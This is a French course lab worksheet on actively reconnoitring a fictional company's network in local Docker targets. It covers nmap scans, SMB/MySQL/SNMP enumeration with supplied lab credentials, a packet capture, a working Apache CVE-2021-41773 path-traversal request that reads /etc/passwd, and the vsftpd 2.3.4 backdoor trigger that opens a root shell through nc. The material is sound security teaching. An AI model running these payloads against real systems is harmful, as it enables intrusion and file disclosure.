TP2 — Reconnaissance active du réseau d'ACME

> **4 h**, avec des temps de discussion et une pause. Tout se fait dans votre VM Kali, sur les cibles locales fournies. Vous travaillez en autonomie entre les mises en commun.

La mission et les trois objectifs

Au TP1, vous avez recherché ce qu'ACME publiait. Aujourd'hui, ACME vous confie un **audit interne** : interroger ses services, comprendre ce qu'ils révèlent et recommander des protections.

À la fin, vous devez pouvoir :

1. **Dresser une carte** des hôtes et services, en précisant les limites du scan.
2. **Prouver et expliquer** un accès ou une fuite, avec ses conditions : invité (*guest*), compte fourni, secret partagé.
3. **Choisir une protection** adaptée et dire comment vérifier qu'elle fonctionne.

Vous remplissez progressivement une **fiche de surface d'attaque**. Une commande réussie est un point de départ : ce qui compte est ce que vous pouvez conclure à partir de son résultat.

Fil rouge ATT&CK. La reconnaissance active (*Reconnaissance*), l'inventaire des services (*Discovery*), la récupération d'un secret (*Credential Access*) et l'exploitation d'un service exposé (*Initial Access*) décrivent des comportements possibles. ATT&CK est une **matrice**, pas une suite obligatoire. Un même outil peut servir plusieurs objectifs selon le contexte.

Le périmètre du labo

- Cibles autorisées : `172.21.0.0/24` et `172.22.0.0/24`, **uniquement les réseaux Docker de votre VM**. Le serveur Apache de la mission 3 est autorisé sur `127.0.0.1:8080`. La mission 4 vise uniquement le conteneur local lancé pour cette extension.
- Jamais le réseau de l'école, `ephec.be`, une IP publique ou la VM d'un camarade.
- **Kali accède directement aux deux segments.** Cela ne représente **ni un accès depuis Internet**, ni un pare-feu qui filtrerait entre ces segments. Les adresses `.1` sont les passerelles de Kali.
- Les identités, données et secrets du labo sont fictifs. IA autorisée comme tuteur : vous devez pouvoir expliquer ce que vous faites et ce que vous rendez.

Démarrer

Dans Kali, récupérez la dernière version des ressources, puis lancez les cibles :

```
cd ~/secu_tp
git pull
cd ~/secu_tp/TP2-reconnaissance-reseau
bash verifier-labo.sh
mkdir -p ~/tp2-traces
docker-compose up -d
docker-compose ps
bash verifier-labo.sh --pret
```

> Faites un premier lancement **avant le cours** (voir `ressources-README.md`) : il télécharge les images, environ 500 Mo ; les lancements suivants n'ont plus besoin du réseau. Un outil manque ? Signalez-le au professeur : ne passez pas le bloc d'exercices à réinstaller votre environnement. MySQL et Samba peuvent demander environ 90 secondes au premier démarrage ; commencez par le premier segment. Si le site du TP1 tourne encore sur 8080, arrêtez **ce labo TP1** avant la mission 3.

Gardez les outputs et le PCAP dans `~/tp2-traces` , puis copiez-les dans votre dépôt personnel avant la fin : les machines de salle ne sont pas une sauvegarde.

Mission 1 — Cartographier et justifier ses observations (~55 min)

Base : Borck, week4 — Nmap Scanning & Scan Reporting, parties 1, 2, 3, 5 et 7. Nous utilisons les mêmes types de cibles ; **l'attaquant est votre Kali**, pas le conteneur du guide. Les adresses de notre énoncé priment.

1a — Qui répond ?

```
sudo nmap -sn 172.21.0.0/24
sudo nmap -sn 172.22.0.0/24
```

Listez les hôtes trouvés. Repérez séparément les passerelles `.1` : ce sont des interfaces de votre Kali, pas deux serveurs supplémentaires d'ACME. Gardez une hypothèse sur le rôle de chaque cible.

1b — Quels ports, quels services ?

```
nmap -sV -oN ~/tp2-traces/scan-dmz.txt 172.21.0.10,11,13,14
nmap -sV -oN ~/tp2-traces/scan-lan.txt 172.22.0.12,13,14
```

Complétez la carte : IP, port/protocole, service, produit et version **si identifiés**. Une machine répond au host discovery mais n'a aucun port ouvert trouvé par ce scan TCP : pouvez-vous déjà la dire « sans service » ? Le scan par défaut ne teste qu'une sélection de ports.

Complétez le scan avec le port Redis du labo, parfois absent de cette sélection :

```
nmap -sV -p6379 -oN ~/tp2-traces/scan-redis.txt 172.21.0.13
```

Comparez les résultats. Quelle cible reste discrète ? Pourquoi « hôte vivant » et « aucun port ouvert trouvé » ne se contredisent-ils pas ? Avez-vous testé tous les ports et UDP ?

SNMP utilise UDP. Comparez le scan TCP et celui-ci sur la cible correspondante :

```
sudo nmap -sU -sV -p161 172.22.0.14
```

1c — Comparer deux façons de scanner

> **Exercice à garder pour la fin.** Revenez-y une fois le reste du TP terminé : il ne révèle aucun nouveau port, c'est une comparaison de méthode, pas une étape pour avancer dans la carte.

Sur **la même cible et les mêmes ports**, comparez SYN et TCP connect :

```
sudo nmap -sS -p22,80 172.21.0.11
nmap -sT -p22,80 172.21.0.11
```

Les ports trouvés changent-ils ? Lequel nécessite des privilèges pour fabriquer les paquets ? Qu'est-ce qui change dans l'établissement de la connexion ? Une trace absente des logs applicatifs signifie-t-elle forcément que le réseau n'a rien vu ?

1d — Un script pour une question précise

```
nmap -sC 172.21.0.10,11
nmap -p6379 --script redis-info 172.21.0.13
```

Retenez **une information nouvelle** révélée par NSE. À quoi sert-elle ? Est-ce une information de version, de configuration, ou une preuve de vulnérabilité ? Ajoutez-la à votre fiche.

Fini quand : la carte couvre les sept cibles, les versions inconnues sont signalées, un output est enregistré et vous pouvez expliquer une différence entre deux scans.

Avant la discussion : choisissez deux observations utiles à un attaquant **et** à un défenseur. Pour chacune, dites aussi ce que votre preuve ne permet pas encore d'affirmer.

Si vous avancez vite : dans le guide week4 (cf lien Borck cité plus haut), partie 5, choisissez un script SSH ciblé ; justifiez le choix et comparez à `-sV`. Ne lancez pas tous les scripts ni des scans

très lents sur tout le réseau.

> **Mise en commun 1 (~15 min).** Expliquez une observation, ses limites et la prochaine vérification utile.

Mission 2 — Faire parler les services (~55 min)

Base : Borck, week5 — System and Network Enumeration, parties 3 à 6. Nous gardons SMB, MySQL et SNMP. **LDAP est hors TP** : ignorez les étapes et références LDAP du guide et des documents fictifs. Ne lancez pas son Compose en parallèle du nôtre.

2a — SMB : qu'est-ce qui change avec un compte ?

```
smbclient -L //172.22.0.13 -U '%' -N
smbclient //172.22.0.13/public -U '%' -N -c 'ls; get policy.txt -'
smbclient //172.22.0.13/staff -U '%' -N -c 'ls'
```

> `smbclient -L` affiche la liste des partages, **puis** un échec de négociation SMB1 (`NT_STATUS_INVALID_NETWORK_RESPONSE`) : c'est normal, le serveur refuse ce vieux protocole. Le résultat utile, ce sont les partages listés au-dessus.

Quels partages existent ? Lequel se lit en invité ? Le refus sur `staff` est un **résultat attendu**, pas une panne. Notez les informations utiles que le document public révèle.

ACME vous fournit maintenant un compte de test pour comparer :

```
smbclient //172.22.0.13/staff -U 'jdoe%Summer2024!' \
  -c 'ls; get staff_roster.txt -'
```

Qu'obtenez-vous de plus ? Quel compte de service apparaît dans les documents ? L'accès au partage public est-il forcément un défaut, ou cela dépend-il des documents qu'on décide d'y publier ?

2b — MySQL : inspection avec l'accès administrateur fourni

Changement de rôle explicite : ACME vous donne ce compte pour inspecter sa base. Lire des données avec root ne prouve pas qu'un invité peut les lire.

```
mysql -h 172.22.0.12 -u root -p'enumR0ot' --skip-ssl
```

Quelle donnée métier est sensible ? Quel **secret technique** est stocké de façon lisible ? Reliez le compte mentionné dans SMB à la configuration de sauvegarde. Distinguez ce que vous avez **prouvé** et ce qui resterait à vérifier : vous n'avez pas testé ce secret sur un autre service.

> `--skip-ssl` est ici une compatibilité de labo avec le client MariaDB de Kali. C'est une connexion volontairement non chiffrée ; ce n'est pas une recommandation pour une base en production.

2c — SNMP : le profil d'un équipement

```
snmpwalk -v2c -c public 172.22.0.14 1.3.6.1.2.1.1
```

Relevez le modèle annoncé, le nom, le contact et l'emplacement. La cible **simule** un équipement réseau ; elle n'est pas un routeur Cisco à configurer. Quelle information aiderait à préparer une attaque ? La community `public` est un **secret partagé trivial**, pas une protection suffisante.

Fini quand : vous avez deux constats argumentés et le profil SNMP. Pour chaque résultat, précisez la condition d'accès et une protection adaptée ; ne classez pas tout « sans authentification ».

Avant la discussion : quelle petite correction limiterait chaque exposition, et quel accès légitime faut-il préserver ? La comparaison invité/compte autorisé sur `staff` donne déjà un exemple.

Si vous avancez correctement :-) comparez l'annuaire SMB aux tables `employees` et `departments`, ou explorez les interfaces SNMP avec `snmpwalk -v2c -c public 172.22.0.14 1.3.6.1.2.1.2`. Rédigez un lien entre deux sources sans inventer un accès que vous n'avez pas testé.

> **Pause (~10 min).** Reprise : observer sur le réseau les échanges que vous venez de produire.

2d — Capturer puis expliquer une trace (~25 min)

Ouvrez **deux terminaux dans Kali**. Dans le premier, identifiez le bridge du segment interne :

```
ip -o -4 addr show
# Repérez l'interface qui porte 172.22.0.1/24, par exemple br-012345abcdef.
```

Remplacez `INTERFACE` par ce nom. Cette capture s'arrête automatiquement après 30 secondes :

```
sudo tshark -i INTERFACE -f 'net 172.22.0.0/24 and (tcp or udp port 161)' \
  -a duration:30 -w /tmp/tp2-reseau.pcapng
```

Pendant ces 30 secondes, dans le second terminal :

```
sudo nmap -sS -p445 172.22.0.13
snmpwalk -v2c -c public 172.22.0.14 1.3.6.1.2.1.1
```

Après l'arrêt de la capture, déplacez le fichier de `/tmp` vers vos traces et changez son propriétaire :

```
sudo mv /tmp/tp2-reseau.pcapng ~/tp2-traces/reseau.pcapng
sudo chown "$USER" ~/tp2-traces/reseau.pcapng
tshark -r ~/tp2-traces/reseau.pcapng -Y snmp \
  -T fields -e ip.src -e ip.dst -e snmp.community
```

Ouvrez aussi le PCAP dans Wireshark si nécessaire : filtre `snmp`, développez un paquet, puis repérez le champ community. Filtrez ensuite `tcp.flags.syn == 1` : qui sollicite quel port ?

Fini quand : votre PCAP est enregistré et vous pouvez montrer un paquet de scan et la community lisible. Si le fichier ne contient rien, vérifiez l'interface et le moment où le trafic a été généré.

Avant la discussion : qu'apprend un observateur qui n'a pas vu votre terminal ? Un secret plus long suffirait-il à corriger l'absence de chiffrement ? Avez-vous prouvé qu'un IDS a déclenché une alerte ?

> **Mise en commun 2 (~15 min).** Reliez une preuve, un risque et une protection ; expliquez ce que cette protection ne corrige pas.

Mission 3 — Une version, une CVE, une preuve (~25 min)

Base : Vulhub — Apache HTTP Server CVE-2021-41773. Même cible et test de lecture de fichier que dans le labo d'origine. Le test est guidé : vous devez expliquer ce qu'il démontre, pas inventer un exploit.

Depuis le dossier du TP2, lancez le serveur local et relevez sa bannière (*banner*) :

```
cd ~/secu_tp/TP2-reconnaissance-reseau
docker-compose -f apache-cve/docker-compose.yml up -d
curl -sS -I http://127.0.0.1:8080/
```

1. **Identifier.** Quel produit et quelle version annonce le serveur ? Retrouvez une vulnérabilité associée avec `searchsploit apache 2.4.49`, puis lisez l'avis de sécurité d'Apache (*security advisory*). Le produit/version suffit-il, ou existe-t-il aussi des conditions de configuration ?
2. **Comparer.** Testez la requête ordinaire puis le test de path traversal fourni par Vulhub :

```
curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8080/etc/passwd
curl -sS --path-as-is \
  'http://127.0.0.1:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd'
```

3. **Expliquer.** Quel répertoire le serveur ne devait-il pas laisser atteindre ? Pourquoi encoder un point en `%2e` ? Quel lien avec « encoder n'est pas chiffrer » du TP1 ?
4. **Conclure.** Rédigez trois lignes : preuve, impact réellement obtenu, correction recommandée. Lire `/etc/passwd` ne donne pas les mots de passe en clair et ne démontre pas l'obtention d'un shell.

Fini quand : vous reliez bannière, avis et résultat du test, et distinguez accès à un fichier et contrôle du système. Votre recommandation doit viser une version **maintenue et corrigée**.

Avant la discussion : quelle différence entre une vulnérabilité probable déduite d'une bannière et une vulnérabilité confirmée par ce test ?

Si vous avancez vite : retrouvez la requête et son horodatage dans les logs du serveur :

```
docker-compose -f apache-cve/docker-compose.yml logs --tail=30 apache
```

> **Mise en commun 3 (~10 min).** Une preuve, un impact précis, une protection et les limites restantes.

Mission 4 — Extension : d'un vieux service à un shell (~10–15 min)

Facultative ; pour les groupes qui terminent en avance. Cette cible historique a été conservée pour rendre l'accès à un shell immédiatement visible. Son image pèse environ 600 Mo : téléchargez-la dès que possible si vous comptez la faire.

```
cd ~/secu_tp/TP2-reconnaissance-reseau
docker-compose -f metasploitable/docker-compose.yml up -d
MS=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' acme-
        ms2)
nmap -sV -p21 "$MS"
```

> La cible historique démarre ses services en ~10–15 s après le `up`. Si `nmap` ne voit pas encore le port 21, relancez le scan une fois.

La cible contient la variante compromise de vsftpd 2.3.4 : un nom d'utilisateur finissant par `:)` déclenche la backdoor. Ce n'est pas une propriété de toute installation portant ce numéro de version.

```
printf 'USER x:)\r\nPASS x\r\n' | nc -w 3 "$MS" 21
printf 'id; uname -n; exit\n' | nc -w 3 "$MS" 6200
```

Fini quand : vous pouvez expliquer la différence entre ce shell et la lecture de fichier de M3. `uid=0(root)` désigne ici **root dans le conteneur cible**, pas dans votre VM ou sur Windows.

Avant la discussion : qu'est-ce que ce nouvel accès permettrait de faire, et quelle protection empêcherait précisément l'exploitation ? L'approfondissement de l'exploitation viendra au TP6.

Votre fiche et la remise (~15 min)

Créez `tp2/fiche.md` dans votre dépôt personnel à partir de fiche-modele.md. Complétez au fil des missions :

- Une carte des sept cibles : IP, ports/protocoles, service/version ou « non identifié ».
- **Deux constats expliqués** : preuve, condition d'accès, risque et recommandation.
- Une conclusion : que corriger en premier et comment vérifier ce choix sans casser les usages utiles ?

Sauvegardez fiche, outputs de scan et PCAP. **Pour Moodle :** le format habituel, une capture d'un résultat marquant + la commande + une phrase d'explication. Le barème précis reste sur Moodle. Faites apparaître votre matricule dans la preuve, par exemple avec `echo "TP2 - VOTRE_MATRICULE"` dans le terminal avant de rejouer la commande retenue. Les approfondissements ne remplacent pas une explication du travail commun.

Nettoyer à la fin, depuis le dossier TP2 (mais si vous êtes en non-persistant, on s'en fout un peu):

```
docker-compose -f apache-cve/docker-compose.yml down
docker-compose -f metasploitable/docker-compose.yml down
docker-compose down
```

Pour l'examen

À savoir **expliquer sur un cas fourni** :

1. Passif/actif, périmètre autorisé et influence du point d'observation.
2. Host discovery, ports TCP/UDP, service/version ; limites d'un scan et rôle de NSE.
3. Différence entre accès invité, compte fourni, autorisation et secret exposé.
4. Ce qu'une capture révèle en clair ; ce que le chiffrement protège et laisse observable.
5. Version → avis de vulnérabilité → conditions → test ; path traversal et impact réellement prouvé.
6. Une protection adaptée : droits/moindre privilège, zones/filtrage, chiffrement ou patch ; une tactique ATT&CK est un objectif, une technique un moyen, pas une étape obligatoire.

Outils : savoir à quoi servent Nmap/NSE, smbclient, le client SQL, snmpwalk, tshark/Wireshark, searchsploit et curl. **Pas à apprendre par cœur :** commandes et options, OID, versions, numéros de CVE/codes ATT&CK, noms des incidents, détails du shell optionnel. Pas de configuration d'IDS à connaître.

Sources et pour aller plus loin

- M. Borck, Ethical Hacking Docker Labs, week4 et week5 : exercices et guides d'origine (MIT). Les données fictives gardent le nom EnumCorp.
- Vulhub, environnement Apache CVE-2021-41773 (MIT).
- Metasploitable 2, extension historique facultative.
- Documentation Nmap et scripts NSE : chercher un script répondant à une question précise, plutôt que lancer une catégorie entière.
- Pour prolonger l'analyse de traces : catégories Réseau/Forensic de Root-Me ou Hackropole, hors des cibles de cette séance.